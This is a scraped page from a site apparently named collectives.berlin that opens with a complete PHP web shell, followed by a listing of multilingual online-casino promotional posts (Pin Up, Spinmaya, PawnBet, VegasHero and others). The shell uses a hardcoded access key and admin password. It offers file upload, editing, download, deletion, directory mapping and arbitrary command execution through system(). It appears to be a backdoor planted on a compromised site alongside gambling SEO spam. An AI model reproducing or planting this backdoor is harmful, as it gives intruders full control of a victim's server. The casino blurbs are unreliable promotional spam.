if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 35 – collectives.berlin

Your digital paradise.

Category: public

  • Pin Up: официальный обзор казино и лучшие предложения для игроков

    Казино Пин Ап стало популярной платформой для азартных игр, предлагая игрокам разнообразные возможности для развлечений. С момента своего основания, оно привлекло внимание как опытных игроков, так и новичков, благодаря своему уникальному дизайну, множеству игр и привлекательным бонусам. Например, в этом казино Pin Up казино предлагаются отличные акции и турниры, которые делают игровой процесс еще более…

    Click or not…

  • Pin Up: лучшие бонусы и акции для игроков в казино в 2026 году

    Казино являются неотъемлемой частью индустрии развлечений, предлагая игрокам множество возможностей для выигрыша и увлекательного времяпрепровождения. В 2026 году особенно актуальными становятся бонусы и акции, которые привлекают внимание как новых, так и опытных игроков. Они помогают создать захватывающую атмосферу и улучшают общее игровое впечатление, а также многие предпочитают Pin Up казино официальный сайт за их уникальные…

    Click or not…

  • Spinmaya Casino Nederland: ontdek de beste welkomstbonussen en gratis spins

    In de wereld van online gokken is het vinden van een betrouwbaar casino met goede aanbiedingen essentieel. Veel spelers ontdekken dat SpinMaya casino Nederland een spannende ervaring biedt met een breed scala aan spellen, aantrekkelijke welkomstbonussen en een gebruiksvriendelijke interface. Dit artikel verkent wat Spinmaya Casino biedt, van de verschillende bonussen tot het brede aanbod…

    Click or not…

  • Pin-Up casino: лучшие игры и функции для азартных игроков

    Пин Ап казино является одним из самых популярных онлайн-казино в Казахстане, предлагая игрокам разнообразные игровые возможности и захватывающий игровой процесс. С более чем 6000 слотами, живыми играми и ставками на спорт, этот ресурс завоевывает доверие игроков благодаря своей надежности и удобству. Например, Пин Ап казино вход Казахстан предоставляет доступ к уникальным бонусам, которые делают игру…

    Click or not…

  • Explore rollingslotz.org promotions: essential rewards for every player

    Immersing oneself in the world of online gaming can be exhilarating, especially with the diverse array of promotions available to players. Casino enthusiasts often seek out platforms that enhance their gaming experience through attractive rewards and bonuses, such as those found at rollingslotz.org , which offers unique opportunities to maximize winnings. Understanding how to navigate…

    Click or not…

  • Nowe gry i sloty w PawnBet Casino: co przyniesie 2026 rok?

    PawnBet Casino zyskało na popularności wśród miłośników gier hazardowych, oferując różnorodne opcje rozrywki online, w tym ponad 18 000 gier. W 2026 roku, platforma ta ma wiele do zaoferowania, w tym nowe sloty, ekscytujące promocje oraz pawn bet, które z pewnością przyciągną uwagę graczy. W artykule omówimy, co warto wiedzieć przed rozpoczęciem gry w PawnBet…

    Click or not…

  • Najlepsze gry w Golisimo Casino: odkryj świat slotów i gier na żywo

    Golisimo Casino to nowoczesna platforma stworzona z myślą o polskich graczach, oferująca niezliczone sloty, emocjonujące gry na żywo oraz błyskawiczne wypłaty. W 2026 roku, Golisimo Casino przyciąga miłośników hazardu swoimi atrakcyjnymi bonusami i szeroką gamą gier, a także wyjątkowymi ofertami dostępnymi na stronie golisimo, które mogą wzbogacić ich doświadczenia. W tym artykule przyjrzymy się, co…

    Click or not…

  • Casea Casino: co warto wiedzieć o metodach płatności i wypłat

    W dzisiejszych czasach kasyna online stają się coraz bardziej popularne, oferując graczom szeroki wybór gier oraz wygodne metody płatności. Casea Casino to jedna z platform, która łączy w sobie zakłady sportowe oraz gry kasynowe, oferując ponad 7000 gier i mnóstwo opcji płatności. Warto zwrócić uwagę, że casino casea ma również unikalne funkcje, które przyciągają nowych…

    Click or not…

  • VegasHero Casino Norge: De mest populære spilleautomatene i 2026

    Velkommen til en spennende verden av online gambling med VegasHero Casino. I 2026 har dette kasinoet befestet seg som en favoritt blant spillere, med et mangfold av spilleautomater, bordspill, og et livlig live casino. Dette kasinoet henvender seg både til nybegynnere og erfarne spillere, med attraktive bonuser og en spillopplevelse i førsteklasses kvalitet. I denne…

    Click or not…

  • BigClash Casino Spiele: Von Slots bis Live-Tischspielen – alles, was du wissen musst

    Die Welt der Online-Casinos ist aufregend und ständig im Wandel. Mit BigClash Casino haben die Schweiz und darüber hinaus ein neues Ziel für spannende Unterhaltung und lukrative Gewinne. Spieler finden hier eine Vielzahl von Möglichkeiten, von klassischen Spielautomaten bis hin zu packenden Live-Tischspielen, und können dabei auch die Vorteile von bigclash casino genießen, die vielfältige…

    Click or not…